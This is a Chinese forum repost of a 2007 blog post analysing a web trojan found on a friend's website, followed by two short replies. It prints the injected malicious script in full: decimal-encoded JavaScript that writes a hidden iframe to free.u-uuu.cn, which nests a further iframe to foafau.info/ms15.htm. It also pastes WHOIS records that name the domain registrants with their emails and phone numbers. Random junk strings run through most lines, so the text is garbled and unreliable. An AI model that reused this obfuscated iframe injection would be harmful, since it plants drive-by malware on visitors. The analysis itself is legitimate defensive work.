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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ht2 f-EKf{  
j.<:00<  
http://www.areway.cn/?p=175 Fq vQk  
G(:s-x ig6  
f3/SO+Me}  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ;R/k2^uF  
          :!(YEF#}  
<script>t=’60,105,102,114,97,109,101, 2T//%ys=  
32,115,114,99,61,104,116,116,112,58,47,47, g8LT7  
102,114,101,101,46,117,45,117,117,117,46,99, UCe,2v%  
110,47,101,114,114,111,114,46,104,116,109, LKIW*M  
32,119,105,100,116,104,61,49,48,48,32,104, &7$,<9.  
101,105,103,104,116,61,48,62,60,47,105,102, +8Of-ZUx  
114,97,109,101,62′; c:3@[nF~  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> BPwI8\V  
                                                                                                  #L_@s d  
<script>t=’60,105,102,114,97,109,101,32,115, 17WNJ  
114,99,61,104,116,116,112,58,47,47,102,114, \Y51KB\  
101,101,46,117,45,117,117,117,46,99,110,47, G /NT e  
101,114,114,111,114,46,104,116,109,32,119, N|UBaPS|o  
105,100,116,104,61,49,48,48,32,104,101,105, hq5NQi` %  
103,104,116,61,48,62,60,47,105,102,114,97, 3DxZ#/!  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); {z.[tvE8h  
document.write(t);</script> ;[;)P tFz\  
                                                                                                  4}.WhE|h  
<html xmlns=” >W>##vK  
http://www.w3.org/1999/xhtml \Pw8wayr%  
“> zj~8>QnKk  
<head> I(z>)S'7r  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> aSn0o_4bD  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> rF Ko E%  
<title>首页 - 爱生活家庭网 (! xg$Kz@  
                                                                                                                                                    5u'TmLuKT  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 {D;Xa`:O  
转换字符串后的大概内容是(谁点击后果自付): OT-n\sL$  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… :*mA,2s  
                                                                                                                                  cEDDO&u  
查询玉米u-uuu.cn的详细信息: DCEvr"(  
Domain Name: u-uuu.cn skk-.9  
ROID: 20070901s10001s64972306-cn c'4>D,?1  
Domain Status: ok $w|o@ Ml)  
Registrant Organization: 王雷 aDm-X r  
Registrant Name: 王雷 *4(/t$)pEl  
Administrative Email: czlovexs@126.com T^/Gj|N*  
Sponsoring Registrar: 北京万网志成科技有限公司 MILIu;[{#r  
Name Server:ns.yovole.com 4q\.I +r^  
Name Server:ns1.yovole.com P`\m9"7  
Registration Date: 2007-09-01 17:54 Jo6~r-  
Expiration Date: 2008-09-01 17:54 Fy}MXe"f  
最后PING了一下地址 都没有什么…. vDu0  
                                                                                                t] n(5!L(  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. r[.zLXgK  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> uznoyj6g  
<script language=”javascript” src=” J{nyo1A  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script pr0@sri@  
> /E`l:&89)  
这个玉米应该有可能是木马作者的: AIvL#12  
foafau.info的详细信息: ,omp F$%  
Access to INFO WHOIS information is provided to assist persons in <.PPs:{8#  
determining the contents of a domain name registration record in the L Q I: ]d  
Afilias registry database. The data in this record is provided by QOkE\ro  
Afilias Limited for informational purposes only, and Afilias does not cCo07R  
guarantee its accuracy.  This service is intended only for query-based AmT| %j&3  
access. You agree that you will use this data only for lawful purposes Rxvd+8FF  
and that, under no circumstances will you use this data to: (a) allow, {Y3_I\H8{  
enable, or otherwise support the transmission by e-mail, telephone, or U/1[~429  
facsimile of mass unsolicited, commercial advertising or solicitations EzD -1sJ  
to entities other than the data recipient’s own existing customers; or YLA557~  
(b) enable high volume, automated, electronic processes that send <FUqD0sQ  
queries or data to the systems of Registry Operator, a Registrar, or j61BP8E  
Afilias except as reasonably necessary to register domain names or 1jUhG2y  
modify existing registrations. All rights reserved. Afilias reserves PBxK>a  
the right to modify these terms at any time. By submitting this query, 48 c D3w  
you agree to abide by this policy. w-0O j  
Domain ID:D22418703-LRMS _SBp66 r  
Domain Name:FOAFAU.INFO .R$+#_  
Created On:20-Nov-2007 16:05:42 UTC !^>LOH>j  
Last Updated On:20-Nov-2007 16:05:44 UTC ? BHWzo!  
Expiration Date:20-Nov-2008 16:05:42 UTC ;+r)j"W  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) in=k:j,U0  
Status:CLIENT DELETE PROHIBITED DJ mQZ+{2  
Status:CLIENT RENEW PROHIBITED .gM>FUH3L  
Status:CLIENT TRANSFER PROHIBITED Q !RVD*(  
Status:CLIENT UPDATE PROHIBITED DuO%B  
Status:TRANSFER PROHIBITED u/!mN2{Rd  
Registrant ID:GODA-040110615 9Th32}H  
Registrant Name:liu hong 7U{b+=,wK  
Registrant Organization: L5zG0mC8  
Registrant Street1:beijing  :kp  
Registrant Street2: 5,0 wj0l  
Registrant Street3: hdsgOu  
Registrant City:beijing AjL?Qh4  
Registrant State/Province: JL.yd H79  
Registrant Postal Code:100000 MUCJ/GF*  
Registrant Country:CN 7+D'W7Yx  
Registrant Phone:+86.860108888777 Mk'n~.mb  
Registrant Phone Ext.: T4HoSei  
Registrant FAX: skR, M=F~  
Registrant FAX Ext.: q5I4'6NF  
Registrant Email:bbbshiji@163.com Eis%)oE  
Admin ID:GODA-240110615 H4y1Hpa,  
Admin Name:liu hong (AM,4)lW,  
Admin Organization: ohc/.5Kl  
Admin Street1:beijing _A)_K;cz  
Admin Street2: *xv/b=  
Admin Street3: XD+cs.{5  
Admin City:beijing $@u^Jt, ?  
Admin State/Province: MOqA$b  
Admin Postal Code:100000 +}(B856+  
Admin Country:CN S,`Sq8H  
Admin Phone:+86.860108888777 +3o)L?:g  
Admin Phone Ext.: ?2<6#>(7a  
Admin FAX: tRUsZl  
Admin FAX Ext.: RZV1:hNN  
Admin Email:bbbshiji@163.com c>U{,z  
Billing ID:GODA-340110615 !aW*dD61  
Billing Name:liu hong f<> YYeY  
Billing Organization: '#4mDz~  
Billing Street1:beijing XJxs4a1[t  
Billing Street2: Y%CL@G60  
Billing Street3: UB&S 2g  
Billing City:beijing $p6Xa;j$9  
Billing State/Province: #Lxj )  
Billing Postal Code:100000 #Rm=Em}d  
Billing Country:CN Y^jnlS)h  
Billing Phone:+86.860108888777 9Pob|UA  
Billing Phone Ext.: L$u&~"z-  
Billing FAX: /<?X-IDz.{  
Billing FAX Ext.: [-Dgo1}Qr  
Billing Email:bbbshiji@163.com d T,m{[+  
Tech ID:GODA-140110615 3Ibt'$dK  
Tech Name:liu hong X_sG6Q@  
Tech Organization: <1g1hqK3  
Tech Street1:beijing FUqhSW  
Tech Street2: 0Li'a{n2  
Tech Street3: :AE;x&  
Tech City:beijing W'2-3J  
Tech State/Province: z7Rcnr;  
Tech Postal Code:100000 l3pW{p  
Tech Country:CN v$Y1+Ep9  
Tech Phone:+86.860108888777 %}]4Nsde  
Tech Phone Ext.: }Mb'tGW  
Tech FAX: N13;hB<  
Tech FAX Ext.: hzPB~obC  
Tech Email:bbbshiji@163.com _~S^#ut+  
Name Server:NS27.DOMAINCONTROL.COM .Qi1I  
Name Server:NS28.DOMAINCONTROL.COM p|9ECdU>;  
Name Server: E5[]eg~w%{  
Name Server: sv{0XVn+^  
Name Server: iJKm27 ">  
Name Server: X @jYQ.  
Name Server: !lN a`  
Name Server: > %cWTC  
Name Server: v^18o$=K",  
Name Server: DdS3<3]A  
Name Server: dR, NC-*  
Name Server: - 2na::<K  
Name Server: m6Cd^'J9^  
                                                                                                          wZ3 vF)2s  
接着下载每个文件里面的代码: xE-`Bb  
一步一步看.. 'S D|ObBY  
Ty4%du6?d  
;7`um  
=|V]8 tN  
E0B2>V  
![hhPYmV  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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